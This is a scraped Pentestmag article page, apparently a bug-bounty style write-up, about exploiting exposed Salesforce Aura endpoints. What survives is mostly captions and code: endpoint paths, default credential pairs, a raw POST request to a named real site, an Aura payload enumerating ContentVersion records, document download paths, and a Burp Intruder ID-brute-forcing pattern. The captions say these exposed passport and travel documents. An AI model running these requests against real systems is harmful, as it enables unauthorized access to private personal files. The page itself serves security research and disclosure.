Making Small Things BIG - Pentestmag

Making Small Things BIG

Making Small Things BIG

by Clark Voss


/aura

/s/sfsites/aura

/sfsites/aura

/s/aura

/s/fact
Aura Paths Exposed
test:test

admin:admin

[email protected]:test
POST /s/sfsites/aura?r=5&other.Core_Utility.fetchUser=1 HTTP/1.1
Host: marketplace.intel.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://marketplace.intel.com/s/?language=en_US
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 705
Origin: https://marketplace.intel.com
Connection: close
Cookie: renderCtx=%7B%22pageId%22%3A%22faab079b-da30–4950–9474–83b3e47e8ec6%22%2C%22schema%22%3A%22Published%22%2C%22viewType%22%3A%22Published%22%2C%22brandingSetId%22%3A%22a0c9

message=%7B%22actions%22%3A%5B%7B%22id%22%3A%22132%3Ba%22%2C%22descriptor%22%3A%22apex%3A%2F%2FCore_UtilityController%2FACTION%24fetchUser%22%2C%22callingDescriptor%22%3A%22UNKNOWN%22%2C%22params%22%3A%7B%7D%7D%5D%7D&aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%22QPQi8lbYE8YujG6og6Dqgw%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%22Zj1VcUXqZfCDWZ-Q5LxXcA%22%2C%22COMPONENT%40markup%3A%2F%2Finstrumentation%3Ao11yCoreCollector%22%3A%228089lZkrpgraL8-V8KZXNw%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%22srcdoc%22%3Atrue%7D%2C%22uad%22%3Afalse%7D&aura.pageURI=%2Fs%2F%3Flanguage%3Den_US&aura.token=null
{“actions”:
[{“id”:”123;a”,”descriptor”:”serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems”,”callingDescriptor”:”UNKNOWN”,”params”:{“entityNameOrId”:”ContentVersion”,”layoutType”:”FULL”,”pageSize”:100,”currentPage”:0,”useTimeout”:false,”getCount”:false,”enableRowActions”:false}}]}
https://github.com/clarkvoss/Salesforce-object-names
Using Burp’s Intruder to find Document IDs
User Info
/servlet/servlet.FileDownload?file=ID
/sfc/servlet.shepherd/document/download/ID
/sfc/servlet.shepherd/version/download/ID
IDs Gathered
Download Image
Image of User Passport
Travel Documents
068§t§000000§9§§ii5gAAA§
Burp Intruder Find Valid IDs

August 29, 2022
Subscribe
Notify of
guest

This site uses Akismet to reduce spam. Learn how your comment data is processed.

1 Comment
Newest
Oldest Most Voted
Inline Feedbacks
View all comments
exporthub21
10 days ago

ExportHub connects you to the Packaging & Printing industries’ leading manufacturers, suppliers, and exporters. Sign up today!

© HAKIN9 MEDIA SP. Z O.O. SP. K. 2013

"PowerShell for Pentesters"
Join our newsletter and receive one of our premium issues for free.
x